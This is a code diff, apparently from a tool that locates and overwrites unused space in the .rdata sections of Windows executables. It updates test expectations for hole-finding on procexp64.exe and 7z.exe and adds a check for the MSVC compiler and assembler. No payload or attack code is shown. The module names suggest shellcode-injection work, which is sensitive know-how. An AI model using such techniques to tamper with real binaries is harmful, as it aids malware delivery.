"""Test reference EXE reloc manager information"""
|
||||||
superpe = SuperPe(PATH_EXES + "procexp64.exe")
|
superpe = SuperPe(PATH_EXES + "procexp64.exe")
|
||||||
rm = superpe.get_rdata_relocmanager()
|
rm = superpe.get_rdata_rangemanager()
|
||||||
self.assertEqual(69, len(rm.intervals))
|
self.assertEqual(61, len(rm.intervals))
|
||||||
# 0x1ab0 is magic currently (should use find_first_utf16_string_offset()
|
# 0x1ab0 is magic currently (should use find_first_utf16_string_offset()
|
||||||
hole = rm.find_hole(20)
|
hole = rm.find_hole(20)
|
||||||
self.assertEqual(hole, (1167361, 1173015))
|
self.assertEqual(hole, (1174185, 1174591))
|
||||||
|
|
||||||
|
|
||||||
def test_largestgap(self):
|
def test_largestgap(self):
|
||||||
superpe = SuperPe(PATH_EXES + "7z.exe")
|
superpe = SuperPe(PATH_EXES + "7z.exe")
|
||||||
rm = superpe.get_rdata_relocmanager()
|
rm = superpe.get_rdata_rangemanager()
|
||||||
start, stop = rm.find_hole(100)
|
start, stop = rm.find_hole(100)
|
||||||
self.assertEqual(393233, start)
|
self.assertEqual(394513, start)
|
||||||
self.assertEqual(394295, stop)
|
self.assertEqual(396511, stop)
|
||||||
|
|
||||||
|
|
||||||
def test_rdata_overwrite(self):
|
def test_rdata_overwrite(self):
|
||||||
|
|||||||
@@ -36,7 +36,7 @@ class SuperPeTest(unittest.TestCase):
|
|||||||
|
|
||||||
# Relocations
|
# Relocations
|
||||||
base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()
|
base_relocs: List[PeRelocEntry] = superpe.get_base_relocs()
|
||||||
self.assertEqual(len(base_relocs), 2888)
|
self.assertEqual(len(base_relocs), 2864)
|
||||||
base_reloc = base_relocs[0]
|
base_reloc = base_relocs[0]
|
||||||
self.assertEqual(base_reloc.rva, 0x11E618)
|
self.assertEqual(base_reloc.rva, 0x11E618)
|
||||||
self.assertEqual(base_reloc.base_rva, 0x11E000)
|
self.assertEqual(base_reloc.base_rva, 0x11E000)
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import os
|
|||||||
import pathlib
|
import pathlib
|
||||||
import glob
|
import glob
|
||||||
import logging
|
import logging
|
||||||
|
import shutil
|
||||||
|
|
||||||
from config import config
|
from config import config
|
||||||
from model.defs import *
|
from model.defs import *
|
||||||
@@ -10,6 +11,20 @@ from model.defs import *
|
|||||||
logger = logging.getLogger("Utils")
|
logger = logging.getLogger("Utils")
|
||||||
|
|
||||||
|
|
||||||
|
def check_deps():
|
||||||
|
cl = config.get("path_cl")
|
||||||
|
if shutil.which(cl) == None:
|
||||||
|
logger.error("Missing dependency: " + cl)
|
||||||
|
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
ml = config.get("path_ml64")
|
||||||
|
if shutil.which(ml) == None:
|
||||||
|
logger.error("Missing dependency: " + ml)
|
||||||
|
logger.error("Start in x64 Native Tools Command Prompt for VS 2022")
|
||||||
|
exit(1)
|
||||||
|
|
||||||
|
|
||||||
def delete_all_files_in_directory(directory_path):
|
def delete_all_files_in_directory(directory_path):
|
||||||
files = glob.glob(os.path.join(directory_path, '*'))
|
files = glob.glob(os.path.join(directory_path, '*'))
|
||||||
for file_path in files:
|
for file_path in files:
|
||||||
|
|||||||
@@ -9,10 +9,14 @@ from app.views import views
|
|||||||
from app.views_project import views_project
|
from app.views_project import views_project
|
||||||
from app.views_shcdev import views_shcdev
|
from app.views_shcdev import views_shcdev
|
||||||
from log import setup_logging
|
from log import setup_logging
|
||||||
|
from utils import check_deps
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||||
setup_logging()
|
setup_logging()
|
||||||
|
check_deps()
|
||||||
|
|
||||||
parser = argparse.ArgumentParser()
|
parser = argparse.ArgumentParser()
|
||||||
parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0")
|
parser.add_argument('--listenip', type=str, help='IP to listen on', default="0.0.0.0")
|
||||||
parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)
|
parser.add_argument('--listenport', type=int, help='Port to listen on', default=5001)
|
||||||
|
|||||||
Reference in New Issue
Block a user